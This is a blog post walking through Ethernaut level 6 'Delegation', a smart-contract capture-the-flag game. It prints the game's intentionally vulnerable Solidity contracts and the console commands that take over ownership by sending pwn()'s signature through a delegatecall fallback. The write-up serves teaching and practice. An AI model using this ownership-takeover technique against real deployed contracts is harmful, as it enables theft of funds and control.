DEV Community

Cover image for Ethernaut Hacks Level 6: Delegation
Naveen ⚡
Naveen ⚡

Posted on

3 2

Ethernaut Hacks Level 6: Delegation

This is the level 6 of Ethernaut game.

Pre-requisites

Hack

Given contracts:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

player has to claim ownership of provided instance of Delegation contract.

A simple one if you clearly understand how delegatecall works, which is being used in fallback method of Delegation.

We just have to send function signature of pwn method of Delegate as msg.data to fallback so that code of Delegate is executed in the context of Delegation. That changes the ownership of Delegation.

So, first get encoded function signature of pwn, in console:

signature = web3.eth.abi.encodeFunctionSignature("pwn()")
Enter fullscreen mode Exit fullscreen mode

Then we send a transaction with signature as data, so that fallback gets called:

await contract.sendTransaction({ from: player, data: signature })
Enter fullscreen mode Exit fullscreen mode

After transaction is successfully mined player is the owner of Delegation. Verify by:

await contract.owner() === player

// Output: true
Enter fullscreen mode Exit fullscreen mode

That's it.

Learned something awesome? Consider starring the github repo 😄

and following me on twitter here 🙏

Image of Datadog

The Essential Toolkit for Front-end Developers

Take a user-centric approach to front-end monitoring that evolves alongside increasingly complex frameworks and single-page applications.

Get The Kit

Top comments (0)

A Workflow Copilot. Tailored to You.

Pieces.app image

Our desktop app, with its intelligent copilot, streamlines coding by generating snippets, extracting code from screenshots, and accelerating problem-solving.

Read the docs